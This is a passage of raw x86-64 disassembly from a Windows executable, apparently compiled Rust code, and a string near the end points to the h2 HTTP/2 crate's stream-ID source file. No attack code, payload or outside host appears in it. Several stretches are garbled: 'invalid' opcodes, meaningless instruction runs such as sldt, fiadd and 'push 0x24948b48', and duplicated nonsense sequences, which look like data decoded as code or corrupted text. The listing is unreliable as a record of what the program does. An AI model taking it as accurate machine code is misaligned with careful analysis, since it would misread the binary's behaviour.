mov byte [rsp + 0x1dd], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x1dc], al
mov qword [rsp + 0x1108], rbx
movdqa xmm9, xmm13
movdqa xmm8, xmm12
mov dword [rsp + 0x128], ecx
mov rdx, qword [rsp + 0xfd0]
cmp rdx, 2
mov dword [rsp + 0xf4], r8d
je 0x1400538a8
mov rcx, qword [rsp + 0xfd8]
mov rax, qword [rsp + 0xfe0]
test dl, 1
je 0x140053819
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0xfe8]
call qword [rax + 0x68]
mov rdi, qword [rsp + 0xfd0]
cmp rdi, 2
mov r8d, dword [rsp + 0xf4]
je 0x1400538a8
mov rcx, qword [rsp + 0xfd8]
mov rax, qword [rsp + 0xfe0]
test dil, 1
je 0x140053862
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0xfe8]
call qword [rax + 0x80]
test rdi, rdi
mov r8d, dword [rsp + 0xf4]
je 0x1400538a8
mov rax, qword [rsp + 0xfd8]
lock dec qword [rax]
jne 0x1400538a8
mov rcx, qword [rsp + 0xfd8]
mov rdx, qword [rsp + 0xfe0]
call case.0x14009a20c.177
mov r8d, dword [rsp + 0xf4]
test sil, sil
je 0x14005395d
movzx eax, sil
cmp eax, 9
mov rdi, qword [rsp + 0xf8]
jne 0x140053988
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
test rax, rax
jne 0x140054493
mov rsi, rdx
test rdx, rdx
jne 0x1400544c6
mov rcx, qword [rsp + 0x850]
mov rdx, qword [rsp + 0x348]
mov r8, qword [rsp + 0x70]
mov r9, rdi
call fcn.1400c1dd0
mov qword [rsp + 0x1b8], rbx
mov r9d, dword [rsp + 0x128]
mov dword [rsp + 0xec], r9d
movzx r8d, byte [rsp + 0x158]
mov byte [rsp + 0x4d], r8b
movzx edx, byte [rsp + 0xd0]
mov byte [rsp + 0x4c], dl
movdqa xmm10, xmm13
movdqa xmm11, xmm12
test al, al
mov esi, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0x40]
jne 0x1400521f2
jmp 0x14005450e
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x16c], 1
mov eax, dword [rsp + 0xf0]
mov dword [rcx + 0x170], eax
mov dword [rcx + 0x174], r8d
mov rdi, qword [rsp + 0xf8]
mov byte [rsp + 0x1e0], sil
movzx eax, byte [rsp + 0x3ce]
lea rdx, [rsp + 0x1f0]
mov byte [rdx - 0xd], al
movzx eax, word [rsp + 0x3cc]
mov word [rdx - 0xf], ax
mov eax, dword [rsp + 0x38c]
mov dword [rsp + 0x1e4], eax
mov rax, qword [rsp + 0x1110]
mov qword [rsp + 0x1e8], rax
movdqu xmmword [rsp + 0x1f0], xmm13
movdqu xmmword [rsp + 0x200], xmm12
mov rax, qword [rsp + 0x1108]
mov qword [rsp + 0x210], rax
mov esi, dword [rsp + 0xf0]
mov dword [rsp + 0x218], esi
mov dword [rsp + 0x21c], r8d
movzx eax, byte [rsp + 0x10e]
mov byte [rsp + 0x220], al
mov eax, dword [rsp + 0xc10]
mov ecx, dword [rsp + 0xc13]
mov dword [rdx + 0x34], ecx
mov dword [rdx + 0x31], eax
mov eax, dword [rsp + 0xc84]
mov dword [rsp + 0x228], eax
movzx eax, byte [rsp + 0x1dd]
mov byte [rsp + 0x22c], al
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x22d], al
mov eax, dword [rsp + 0x390]
mov byte [rsp + 0x22e], al
mov r8d, 0xcd
lea rcx, [rsp + 0x22f]
lea rdx, [rsp + 0x1263]
call fcn.140121660
mov eax, dword [rsp + 0xa54]
mov dword [rsp + 0x2fc], eax
mov rax, qword [rsp + 0xd68]
mov qword [rsp + 0x300], rax
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x1400557ae
cmp dword [rdi + 0x100], 4
jne 0x140053ade
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140052198
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov r9, rax
mov rsi, rdx
test rax, rax
jne 0x14005452e
test rsi, rsi
movzx eax, byte [rsp + 0x158]
mov ecx, dword [rsp + 0x128]
jne 0x14005454e
mov r9d, 1
cmp dword [rdi + 0x100], 4
jne 0x140054470
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
mov esi, dword [rsp + 0xf0]
jae 0x140052198
mov qword [rsp + 0x1b8], rbx
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xec], eax
movzx eax, byte [rsp + 0x158]
jmp 0x14005447f
mov r13, qword [rsp + 0x838]
mov rax, qword [rsp + 0x840]
mov qword [rsp + 0x568], rax
mov rdx, qword [rsp + 0xa28]
mov rsi, qword [rsp + 0x848]
mov ecx, dword [rsp + 0x388]
movzx eax, word [rsp + 0x1d2]
mov dword [rsp + 0x19c], eax
movzx eax, byte [rsp + 0xa6]
jmp 0x140053cf9
mov al, 1
xor r13d, r13d
mov rcx, qword [rsp + 0xc38]
mov qword [rsp + 0x568], rcx
mov rdx, qword [rsp + 0xc40]
mov rsi, qword [rsp + 0xc30]
mov ecx, dword [rsp + 0x724]
mov dword [rsp + 0x19c], r8d
jmp 0x140053cf9
mov r13, qword [rsp + 0xc20]
mov rax, qword [rsp + 0xc28]
mov qword [rsp + 0x568], rax
mov rdx, qword [rsp + 0xc18]
mov rsi, qword [rsp + 0x6a8]
mov ecx, dword [rsp + 0x194]
movzx eax, word [rsp + 0x396]
mov dword [rsp + 0x19c], eax
movzx eax, byte [rsp + 0xa5]
jmp 0x140053cf9
mov al, 1
xor r13d, r13d
mov rcx, qword [rsp + 0x698]
mov qword [rsp + 0x568], rcx
mov rdx, qword [rsp + 0x6a0]
mov rsi, qword [rsp + 0x520]
mov ecx, dword [rsp + 0x384]
mov dword [rsp + 0x19c], r8d
jmp 0x140053cf9
mov edx, 1
xor r13d, r13d
mov qword [rsp + 0x568], 0
lea rsi, [0x1401598d0]
mov al, 1
mov ecx, dword [rsp + 0xc78]
mov dword [rsp + 0x19c], r8d
jmp 0x140053cf9
mov rax, qword [rsp + 0x570]
mov rdx, qword [rsp + 0x578]
mov r8, qword [rsp + 0x580]
lea rcx, [rsp + 0x588]
mov rsi, r9
call qword [rax + 0x10]
mov r9, rsi
mov ecx, 1
mov edx, 1
xor r13d, r13d
lea rsi, [0x140132240]
mov al, 1
mov dword [rsp + 0x19c], r8d
mov rbx, r14
mov qword [rsp + 0x568], 0
mov dword [rsp + 0x738], eax
mov byte [rsp + 0x6f9], al
mov eax, dword [rsp + 0x19c]
mov word [rsp + 0x6fa], ax
mov dword [rsp + 0xa5c], ecx
mov dword [rsp + 0x6fc], ecx
mov qword [rsp + 0x700], rsi
mov qword [rsp + 0x708], rdx
mov rax, qword [rsp + 0x568]
add byte [rax], al
mov qword [rsp + 0x710], rax
mov qword [rsp + 0x718], r13
mov byte [rsp + 0x6f8], r9b
cmp r9b, 4
je case.default.0x140053e28
nop
mov qword [rsp + 0x168], rsi
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x50], r12
movzx ebx, byte [rsp + 0x6f9]
mov r15d, dword [rsp + 0x6fc]
mov ebp, dword [rsp + 0x700]
mov r14d, dword [rsp + 0x704]
mov r8, qword [rsp + 0x708]
movdqu xmm12, xmmword [rsp + 0x710]
mov r13, qword [rdi + 0x408]
mov rax, qword [rdi + 0x410]
lea rsi, [r13 + 0x10]
add rax, 0x10
mov rcx, qword [rsp + 0xc70]
mov qword [rsp + 0x3d0], rcx
mov rcx, qword [rsp + 0x6e8]
mov qword [rsp + 0x3d8], rcx
mov qword [rsp + 0x3f0], rsi
mov qword [rsp + 0x3f8], rax
add eax, dword [rax]
add dh, al
test byte [rax + rax], ah
add al, 0
add byte [rax], al
mov rax, qword [rsp + 0xbc8]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0xa38]
mov qword [rsp + 0x3e8], rax
movzx eax, r9b
lea rcx, [0x1401941b0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi], cl
jne 0x14005432f
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140054350
xor r12d, r12d
mov qword [rsp + 0x118], rdx
movzx eax, byte [r13 + 0x11]
test al, al
jne 0x1400556bc
mov r14, qword [rsp + 0x3f8]
lea rbx, [r13 + 0x1c8]
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rsi*2], fs
or al, byte [rax]
add byte [rax - 0x77], cl
fiadd dword [rbp - 0x77]
clc
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rsi*2], fs
or al, byte [rax]
add byte [rax - 0x77], cl
fiadd dword [rbp - 0x77]
clc
call fcn.140013b00
cmp qword [rsp + 0xa70], 0
je 0x1400540a9
test r15d, r15d
je 0x1400558b0
movzx eax, byte [r13 + 0x70]
xor al, r15b
test al, 1
je 0x1400540df
test byte [r13 + 0x118], 1
jne 0x140054110
invalid
cmp dword [r13 + 0x11c], r15d
ja 0x140054110
lea rax, [r13 + 0x118]
lea rcx, [r13 + 0x11c]
jmp 0x140054100
mov r13, rdx
mov dword [rsp + 0xa70], ebp
mov dword [rsp + 0xa74], r14d
mov qword [rsp + 0xa78], r8
movdqu xmmword [rsp + 0xa80], xmm12
mov rax, qword [rsp + 0xa70]
movq r9, xmm12
lea rcx, [rsp + 0x578]
lea rdx, [rsp + 0xa88]
call qword [rax]
mov dword [rsp + 0x574], r15d
mov byte [rsp + 0x571], bl
mov byte [rsp + 0x570], 1
cmp dword [rdi + 0x3d0], 1
jne 0x140053fca
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
cmp dword [rdi + 0x3d8], r15d
jne 0x140053fca
mov byte [rdi + 0x400], 1
mov byte [rdi + 0x401], bl
mov dword [rdi + 0x404], r15d
mov rax, qword [rsp + 0x578]
mov rdx, qword [rsp + 0x580]
mov r8, qword [rsp + 0x588]
lea rcx, [rsp + 0x590]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa70]
mov rdx, qword [rsp + 0xa78]
mov r8, qword [rsp + 0xa80]
lea rcx, [rsp + 0xa88]
call qword [rax + 0x10]
jmp 0x140054099
mov word [rdi + 0x400], 0x101
mov dword [rdi + 0x404], 0
mov rbp, qword [rsp + 0x88]
jmp 0x140054320
mov rax, qword [rsp + 0x590]
mov qword [rsp + 0x200], rax
movzx eax, byte [rsp + 0x570]
movzx ecx, byte [rsp + 0x571]
movzx edx, word [rsp + 0x572]
mov r8d, dword [rsp + 0x574]
mov r9, qword [rsp + 0x578]
movups xmm0, xmmword [rsp + 0x580]
movaps xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x1e0], al
mov byte [rsp + 0x1e1], cl
mov word [rsp + 0x1e2], dx
mov dword [rsp + 0x1e4], r8d
mov qword [rsp + 0x1e8], r9
lea rcx, [rsp + 0x3f0]
lea rbx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.14006eed0
movdqu xmm0, xmmword [rsp + 0xa70]
movups xmm1, xmmword [rsp + 0xa80]
movaps xmmword [rsp + 0x1f0], xmm1
movdqa xmmword [rsp + 0x1e0], xmm0
mov rcx, rsi
call fcn.14006f4b0
mov dword [rsp + 0x200], eax
mov dword [rsp + 0x204], r15d
mov rcx, qword [rsp + 0x6e8]
mov rdx, rbx
call fcn.14001ea50
mov rbp, qword [rsp + 0x88]
mov rdx, r13
jmp 0x140054320
mov rax, qword [rsp + 0xa78]
mov rcx, qword [rsp + 0xa80]
mov rcx, qword [rcx - 8]
mov rdx, qword [rax + 0x10]
cmp rcx, rdx
jae 0x140055992
mov rax, qword [rax + 8]
shl rcx, 4
mov edx, dword [rax + rcx + 8]
mov eax, dword [rax + rcx + 0xc]
jmp 0x1400541e8
test byte [r13 + 0xa0], 1
jne 0x140054110
cmp dword [r13 + 0xa4], r15d
ja 0x140054110
lea rax, [r13 + 0xa0]
lea rcx, [r13 + 0xa4]
lea edx, [r15 + 2]
mov r8d, edx
shr r8d, 0x1f
mov dword [rax], r8d
mov dword [rcx], edx
mov dword [rsp + 0x2f4], r15d
mov byte [rsp + 0x230], 6
mov dword [rsp + 0x298], 0
mov qword [rsp + 0x1e0], 0
mov dword [rsp + 0x2a4], 0
mov dword [rsp + 0x2b0], 0
mov dword [rsp + 0x2bc], 0
mov qword [rsp + 0x280], 0
mov dword [rsp + 0x2c8], 0
lea rax, [rsp + 0x1f0]
movups xmmword [rax + 0x78], xmm6
movups xmmword [rax + 0x68], xmm6
movups xmmword [rax + 0x108], xmm6
mov dword [rsp + 0x228], 0x3b9aca00
mov dword [rsp + 0x2d4], 0
mov qword [rsp + 0x1f8], 0
mov byte [rsp + 0x308], 1
mov qword [rsp + 0x288], 0
mov dword [rsp + 0x2e0], 0
mov qword [rsp + 0x210], 0
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0x1e0]
call fcn.140014df0
mov dword [rsp + 0xe58], eax
mov dword [rsp + 0xe5c], edx
mov qword [rsp + 0xe50], rbx
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14], cl
jne 0x14005437c
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140054397
xor ebx, ebx
movzx eax, byte [r14 + 1]
test al, al
jne 0x140055681
lea rcx, [r13 + 0x18]
lea rax, [r14 + 8]
lea rdx, [r13 + 0x78]
mov qword [rsp + 0x860], rdx
mov dword [rsp + 0x1180], ebp
mov byte [rsp + 0x960], 1
mov qword [rsp + 0xfd0], rax
lea rax, [rsp + 0x860]
mov qword [rsp + 0x570], rax
lea rax, [rsp + 0x1180]
mov qword [rsp + 0x578], rax
lea rax, [rsp + 0x960]
mov qword [rsp + 0x580], rax
lea rax, [rsp + 0xfd0]
mov qword [rsp + 0x588], rax
lea rdx, [rsp + 0xe50]
lea r8, [rsp + 0x570]
call fcn.1400c2f50
test bl, bl
jne 0x1400542c6
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14005443a
xor eax, eax
xchg byte [r14], al
cmp al, 2
mov rbp, qword [rsp + 0x88]
jne 0x1400542e0
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test r12b, r12b
mov rdx, qword [rsp + 0x118]
jne 0x140054300
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140054451
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140054320
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rdx, qword [rsp + 0x118]
nop dword [rax]
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
jmp 0x140046649
mov rcx, rsi
mov rbx, rdx
call fcn.14012be60
mov rdx, rbx
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x140053e4b
mov rbx, rdx
call fcn.14012bf20
mov rdx, rbx
mov r12d, eax
xor r12b, 1
mov qword [rsp + 0x118], rdx
movzx eax, byte [r13 + 0x11]
test al, al
je 0x140053e63
jmp 0x1400556bc
mov rcx, r14
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x140054220
call fcn.14012bf20
mov ebx, eax
xor bl, 1
movzx eax, byte [r14 + 1]
test al, al
je 0x14005422f
jmp 0x140055681
mov rcx, qword [rsp + 0x160]
call fcn.14012be60
mov r8, qword [rsp + 0x40]
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x1400518e7
call fcn.14012bf20
mov r8, qword [rsp + 0x40]
xor al, 1
mov dword [rsp + 0x728], eax
movzx eax, byte [r8 + 0x11]
test al, al
je 0x1400518ff
jmp 0x1400558c8
mov rcx, qword [rsp + 0x1b0]
call fcn.14012be60
mov r8, qword [rsp + 0x40]
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14005193c
call fcn.14012bf20
mov r8, qword [rsp + 0x40]
xor al, 1
mov dword [rsp + 0x124], eax
jmp 0x140051947
call fcn.14012bf20
test al, al
jne 0x1400542c6
mov byte [r14 + 1], 1
jmp 0x1400542c6
call fcn.14012bf20
mov rdx, qword [rsp + 0x118]
test al, al
jne 0x140054300
mov byte [r13 + 0x11], 1
jmp 0x140054300
mov qword [rsp + 0x1b8], rbx
mov dword [rsp + 0xec], ecx
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x4c], al
xor esi, esi
jmp 0x1400544f7
mov r9, rax
mov qword [rsp + 0x1b8], rbx
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xec], eax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x4c], al
jmp 0x1400544f7
mov qword [rsp + 0x1b8], rbx
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xec], eax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x4c], al
xor r9d, r9d
movdqa xmm10, xmm13
movdqa xmm11, xmm12
mov rbx, qword [rsp + 0x160]
jmp 0x14005460e
mov qword [rsp + 0x1b8], rbx
mov dword [rsp + 0xec], r9d
mov byte [rsp + 0x4d], r8b
mov byte [rsp + 0x4c], dl
xor esi, esi
xor r9d, r9d
jmp 0x14005456d
mov qword [rsp + 0x1b8], rbx
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xec], eax
movzx eax, byte [rsp + 0x158]
jmp 0x14005455d
mov qword [rsp + 0x1b8], rbx
mov dword [rsp + 0xec], ecx
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x4c], al
movdqa xmm10, xmm13
movdqa xmm11, xmm12
mov rbx, qword [rsp + 0x160]
mov rax, r9
or rax, rsi
jne 0x14005460e
mov rax, qword [rbp]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov rcx, qword [rsp + 0x40]
mov rsi, rax
mov rbx, rdx
mov rax, qword [rcx + 0x1b8]
test rax, rax
je 0x1400545be
mov rcx, qword [rcx + 0x1c0]
call qword [rax + 0x18]
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x1b8], rsi
mov qword [rcx + 0x1c0], rbx
cmp byte [rsp + 0x124], 0
jne 0x1400545e9
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140054861
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
xchg byte [rcx], al
mov esi, 0
mov r9d, 0
cmp al, 2
mov rbx, qword [rsp + 0x160]
jne 0x140054648
jmp 0x14005463c
mov rcx, qword [rsp + 0x1b0]
mov eax, dword [rsp + 0x124]
test al, al
jne 0x140054634
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140054835
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140054648
mov r15, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, r15
cmp byte [rsp + 0x728], 0
jne 0x140054665
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400547f0
xor eax, eax
xchg byte [rbx], al
cmp al, 2
jne 0x14005467c
mov rcx, rbx
mov rbx, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rbx
test r9, r9
jne 0x140054979
test rsi, rsi
jne 0x140054c3f
mov rax, qword [rsp + 0xbc8]
cmp qword [rax], 0
jne 0x1400546c6
cmp byte [rdi + 0x3dc], 0
jne 0x140054979
test byte [rdi + 0x3d0], 1
je 0x140054979
cmp dword [rdi + 0x3d4], 0x7fffffff
je 0x140054979
mov rbx, qword [rdi + 0x408]
lea rcx, [rbx + 0x10]
xor eax, eax
mov dl, 1
lock cmpxchg byte [rbx + 0x10], dl
jne 0x1400547b4
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400547d2
xor eax, eax
movzx edx, byte [rbx + 0x11]
test dl, dl
jne 0x1400559b6
mov sil, 1
cmp qword [rbx + 0x30], 0
jne 0x140054714
cmp qword [rbx + 0x40], 0
setne sil
test al, al
jne 0x14005472b
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140054811
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140054739
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add byte [rax - 0x7c], al
test byte [rdi], 0x85
invalid
test sil, sil
jne 0x140054979
mov qword [rsp + 0x100], r14
mov rcx, qword [rdi + 0x408]
add rcx, 0x10
call fcn.14006f4b0
push rsi
lodsd eax, dword [rsi]
add dword [rax], eax
push rsi
lodsd eax, dword [rsi]
add dword [rax], eax
mov dword [rsp + 0x200], eax
mov dword [rsp + 0x204], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [0x1401586b0]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 1
lea rax, [rsp + 0x1f0]
movups xmmword [rax], xmm6
mov rcx, qword [rsp + 0x6e8]
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x1e0]
call fcn.14001ea50
mov rdx, qword [rsp + 0x118]
jmp 0x140046649
mov rsi, rcx
call fcn.14012be60
mov rcx, rsi
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x1400546f3
mov rsi, rcx
call fcn.14012bf20
mov rcx, rsi
xor al, 1
movzx edx, byte [rbx + 0x11]
test dl, dl
je 0x140054701
jmp 0x1400559b6
mov r15, r9
call fcn.14012bf20
mov r9, r15
mov rcx, qword [rsp + 0x40]
test al, al
jne 0x140054665
mov byte [rcx + 0x11], 1
jmp 0x140054665
mov rdi, rcx
call fcn.14012bf20
mov rcx, rdi
mov rdi, qword [rsp + 0xf8]
test al, al
jne 0x14005472b
mov byte [rbx + 0x11], 1
jmp 0x14005472b
mov r15, r9
call fcn.14012bf20
mov r9, r15
mov rcx, qword [rsp + 0x1b0]
test al, al
jne 0x140054634
mov rax, qword [rsp + 0x330]
mov byte [rax + 0x11], 1
jmp 0x140054634
call fcn.14012bf20
test al, al
jne 0x1400545e9
mov rax, qword [rsp + 0x330]
mov byte [rax + 0x11], 1
jmp 0x1400545e9
mov ebp, dword [rdi + 0x404]
movzx ebx, byte [rdi + 0x401]
mov rcx, qword [rsp + 0xbc8]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x200], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x1e0], xmm0
mov qword [rdi + 0x418], 0
mov rax, qword [rsp + 0x1e0]
test rax, rax
je 0x14005499b
lea rsi, [rsp + 0x1f8]
mov r8, qword [rsp + 0x1e8]
mov r9, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x3d0]
mov rdx, rsi
call qword [rax]
mov edi, dword [rsp + 0x204]
mov rax, qword [rsp + 0x1e0]
movups xmm0, xmmword [rsp + 0x3d0]
movups xmm1, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x580], xmm1
movaps xmmword [rsp + 0x570], xmm0
test rax, rax
je 0x140054942
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
mov rcx, rsi
call qword [rax + 0x10]
mov eax, edi
or eax, ebp
je 0x140054a08
test edi, edi
je 0x1400549f8
movapd xmm0, xmmword [rsp + 0x570]
movaps xmm1, xmmword [rsp + 0x580]
movaps xmmword [rsp + 0x1e0], xmm1
mov bl, 2
mov sil, 1
mov ebp, edi
jmp 0x140054a43
mov rax, qword [rsp + 0x6e0]
mov byte [rax], 4
jmp 0x140054a67
mov rcx, qword [rsp + 0x6e0]
call fcn.140016200
jmp 0x140054a67
lea rax, [0x1401586b0]
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x3d8], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x3e0], xmm0
mov dword [rsp + 0x3f0], 0
movaps xmmword [rsp + 0x580], xmm0
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0x578], rax
test ebp, ebp
je 0x140054a08
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1e0], xmm0
mov sil, 1
jmp 0x140054a0b
mov sil, 3
lea rcx, [rsp + 0x588]
mov rax, qword [rsp + 0x570]
mov rdx, qword [rsp + 0x578]
mov r8, qword [rsp + 0x580]
call qword [rax + 0x10]
lea rax, [0x1401586b0]
movq xmm0, rax
shufpd xmm0, xmmword [0x14012f950], 2
mov rax, qword [rsp + 0x6e0]
mov byte [rax], sil
mov byte [rax + 1], bl
mov dword [rax + 4], ebp
movupd xmmword [rax + 8], xmm0
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqu xmmword [rax + 0x18], xmm0
mov rdi, qword [rsp + 0xf98]
cmp rdi, 2
je 0x140054b16
lea rdx, [rsp + 0xfb0]
mov rsi, qword [rsp + 0xfa0]
mov rbx, qword [rsp + 0xfa8]
and al, 0xa8
sldt word [rax]
and al, 0xa8
sldt word [rax]
test dil, 1
je 0x140054ad7
mov rax, qword [rbx + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
rcl dword [rax], 0xff
push rbx
push 0x24948b48
mov al, 0xf
add byte [rax], al
rcl dword [rax], 0xff
push rbx
push 0x24948b48
mov al, 0xf
add byte [rax], al
mov rax, qword [rbx + 0x10]
dec rax
and rax, 0xfffffffffffffff0
add rsi, rax
add rsi, 0x10
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [rbx + 0x80]
test rdi, rdi
jne 0x140054af3
jmp 0x140054b16
mov rcx, rsi
call qword [rbx + 0x68]
mov rdx, qword [rsp + 0xfb0]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [rbx + 0x80]
test rdi, rdi
je 0x140054b16
mov rax, qword [rsp + 0xfa0]
sldt word [rax]
lock dec qword [rax]
jne 0x140054b16
mov rcx, qword [rsp + 0xfa0]
mov rdx, qword [rsp + 0xfa8]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
sldt word [rax]
call case.0x14009a20c.177
mov r8, qword [rsp + 0xbd0]
cmp r8, 2
je 0x140054bc7
lea rdx, [rsp + 0xbe8]
mov rcx, qword [rsp + 0xbd8]
mov ecx, dword [rsp + 0xbd8]
mov rax, qword [rsp + 0xbe0]
test r8b, 1
je 0x140054b58
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov rsi, qword [rsp + 0xbd0]
cmp rsi, 2
je 0x140054bc7
mov rdx, qword [rsp + 0xbe8]
mov rcx, qword [rsp + 0xbd8]
mov rax, qword [rsp + 0xbe0]
test sil, 1
je 0x140054b99
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
test rsi, rsi
je 0x140054bc7
mov rax, qword [rsp + 0xbd8]
lock dec qword [rax]
jne 0x140054bc7
mov rcx, qword [rsp + 0xbd8]
mov rdx, qword [rsp + 0xbe0]
call case.0x14009a20c.177
and al, 0xd8
or eax, dword [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xe0
or eax, dword [rax]
add al, ch
pop rcx
pop rcx
invalid
movaps xmm6, xmmword [rsp + 0x1330]
movaps xmm7, xmmword [rsp + 0x1340]
movaps xmm8, xmmword [rsp + 0x1350]
movaps xmm9, xmmword [rsp + 0x1360]
movaps xmm10, xmmword [rsp + 0x1370]
movaps xmm11, xmmword [rsp + 0x1380]
movaps xmm12, xmmword [rsp + 0x1390]
movaps xmm13, xmmword [rsp + 0x13a0]
add rsp, 0x13b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
shl r14, 0x20
or r14, rbp
mov rax, r14
neg rax
jno 0x140054c54
mov r15, r8
movabs rsi, 0x8000000000000000
jmp 0x140054c9f
mov rcx, qword [rsp + 0x6e0]
mov rdx, rsi
call fcn.140016200
jmp 0x140054a67
movq rsi, xmm12
test rsi, rsi
je 0x140054c89
js 0x1400561a1
mov r15, r8
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rsi
call fcn.1400f8ae0
test rax, rax
je 0x1400561a6
mov rdi, rax
mov r8, r15
jmp 0x140054c8e
mov edi, 1
mov rcx, rdi
mov r15, r8
mov rdx, r8
mov r8, rsi
call fcn.140121660
mov byte [rsp + 0x1e1], bl
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rdi
movq qword [rsp + 0x1f8], xmm12
mov byte [rsp + 0x1e0], 2
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x3f0]
call fcn.14006eed0
mov rax, qword [rsp + 0x6e0]
mov byte [rax + 1], bl
mov qword [rax + 8], r14
mov qword [rax + 0x10], r15
movq qword [rax + 0x18], xmm12
mov byte [rax], 2
jmp 0x140054a67
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_stream_id.rs
mov ecx, 4
call fcn.1401225f0
